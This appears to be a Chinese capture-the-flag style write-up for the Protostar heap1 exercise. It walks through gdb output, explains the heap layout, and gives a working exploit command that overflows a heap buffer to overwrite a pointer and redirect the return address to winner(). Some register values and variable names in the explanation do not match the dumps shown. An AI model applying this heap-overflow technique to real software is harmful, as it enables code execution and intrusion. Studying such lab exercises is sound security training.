protostar详细解析 heap1 解答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
int priority;
char *name;
};

void winner()
{

printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{

struct internet *i1, *i2, *i3;

i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);

i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

printf("and that's a wrap folks!\n");
}

1 寻找RET地址

首先gdb heap1。并在ret处下断点。

1
gdb$ disas main
Dump of assembler code for function main:
0x080484b9 <main+0>:	push   %ebp
0x080484ba <main+1>:	mov    %esp,%ebp
0x080484bc <main+3>:	and    $0xfffffff0,%esp
0x080484bf <main+6>:	sub    $0x20,%esp
0x080484c2 <main+9>:	movl   $0x8,(%esp)
0x080484c9 <main+16>:	call   0x80483bc <malloc@plt>
0x080484ce <main+21>:	mov    %eax,0x14(%esp)
0x080484d2 <main+25>:	mov    0x14(%esp),%eax
0x080484d6 <main+29>:	movl   $0x1,(%eax)
0x080484dc <main+35>:	movl   $0x8,(%esp)
0x080484e3 <main+42>:	call   0x80483bc <malloc@plt>
0x080484e8 <main+47>:	mov    %eax,%edx
0x080484ea <main+49>:	mov    0x14(%esp),%eax
0x080484ee <main+53>:	mov    %edx,0x4(%eax)
0x080484f1 <main+56>:	movl   $0x8,(%esp)
0x080484f8 <main+63>:	call   0x80483bc <malloc@plt>
0x080484fd <main+68>:	mov    %eax,0x18(%esp)
0x08048501 <main+72>:	mov    0x18(%esp),%eax
0x08048505 <main+76>:	movl   $0x2,(%eax)
0x0804850b <main+82>:	movl   $0x8,(%esp)
0x08048512 <main+89>:	call   0x80483bc <malloc@plt>
0x08048517 <main+94>:	mov    %eax,%edx
0x08048519 <main+96>:	mov    0x18(%esp),%eax
0x0804851d <main+100>:	mov    %edx,0x4(%eax)
0x08048520 <main+103>:	mov    0xc(%ebp),%eax
0x08048523 <main+106>:	add    $0x4,%eax
0x08048526 <main+109>:	mov    (%eax),%eax
0x08048528 <main+111>:	mov    %eax,%edx
0x0804852a <main+113>:	mov    0x14(%esp),%eax
0x0804852e <main+117>:	mov    0x4(%eax),%eax
0x08048531 <main+120>:	mov    %edx,0x4(%esp)
0x08048535 <main+124>:	mov    %eax,(%esp)
0x08048538 <main+127>:	call   0x804838c <strcpy@plt>
0x0804853d <main+132>:	mov    0xc(%ebp),%eax
0x08048540 <main+135>:	add    $0x8,%eax
0x08048543 <main+138>:	mov    (%eax),%eax
0x08048545 <main+140>:	mov    %eax,%edx
0x08048547 <main+142>:	mov    0x18(%esp),%eax
0x0804854b <main+146>:	mov    0x4(%eax),%eax
0x0804854e <main+149>:	mov    %edx,0x4(%esp)
0x08048552 <main+153>:	mov    %eax,(%esp)
0x08048555 <main+156>:	call   0x804838c <strcpy@plt>
0x0804855a <main+161>:	movl   $0x804864b,(%esp)
0x08048561 <main+168>:	call   0x80483cc <puts@plt>
0x08048566 <main+173>:	leave  
0x08048567 <main+174>:	ret

在ret处 下断点,运行heap1程序。

1
gdb$ b *0x08048567
Breakpoint 1 at 0x8048567: file heap1/heap1.c, line 35.
1
gdb$ r AAAA BBBB
and that's a wrap folks!
--------------------------------------------------------------------------[regs]
  EAX: 0x00000019  EBX: 0xB7FD7FF4  ECX: 0xB7FD84C0  EDX: 0xB7FD9340  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF818  ESP: 0xBFFFF79C  EIP: 0x08048567
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
0x8048567 <main+174>:	ret    

Breakpoint 1, 0x08048567 in main (argc=0x80484b9, argv=0x3) at heap1/heap1.c:35
35	heap1/heap1.c: No such file or directory.
	in heap1/heap1.c
gdb$

此时ESP寄存器中的值为0xBFFFF79C。到这一步我们获取到了ret存放的地址,如果可以修改该地址中存储的值就可以控制EIP了。

2 观察堆上数据的存放结构

在malloc调用处下断点

1
gdb$ b *0x80484e8
Breakpoint 2 at 0x80484e3: file heap1/heap1.c, line 25.

gdb$ r AAAAAAAA BBBBBBBB
--------------------------------------------------------------------------[regs]
  EAX: 0x0804A018  EBX: 0xB7FD7FF4  ECX: 0xB7FD93A0  EDX: 0x0804A010  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF798  ESP: 0xBFFFF770  EIP: 0x080484E8
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B

0x080484e8	25	in heap1/heap1.c
gdb$

EAX=0x0804A008;i1 = malloc(sizeof(struct internet)); 所以i1=0x0804A008;

1
2
3
4
5
6
gdb$ 
--------------------------------------------------------------------------[regs]
EAX: 0x0804A028 EBX: 0xB7FD7FF4 ECX: 0xB7FD93A0 EDX: 0x0804A020 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF798 ESP: 0xBFFFF770 EIP: 0x080484FD
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
0x080484fd 27 in heap1/heap1.c

EAX=0x0804A018;i1->name = malloc(8); 所以i1->name =0x0804A018;

。。。

EAX=0x0804A028;i2 = malloc(sizeof(struct internet)); 所以i2=0x0804A028;

EAX=0x0804A038;i2->name = malloc(8); 所以i1->name =0x0804A038;

堆上的数据结构如下图所示。

Image text

3 溢出

​ 1.由于堆中数据结构如上图所示,在执行

1
strcpy(i1->name, argv[1]);

时因为没有考虑缓冲区的长度,那么就可以覆盖到i2数据结构之中。修改i2->name的值。

​ 2.因此i2->name是一个我们可控的地址。

1
strcpy(i2->name, argv[2]);

所以可以将argv[2]的值拷贝到任意地址的缓冲区之中。

​ 3.ret的存放地址我们已经知道,所以我们只需要将ret的地址值改写成winner函数的地址即可。

1
2
user@protostar:/tmp$ ./bin/heap1 $(python -c 'print "A"*20 + "\x8c\xf7\xff\xbf"') $(python -c 'print "\x94\x84\x04\x08"')
and we have a winner @ 1449290673
文章目录
  1. 1. 1 寻找RET地址
  2. 2. 2 观察堆上数据的存放结构
  3. 3. 3 溢出
,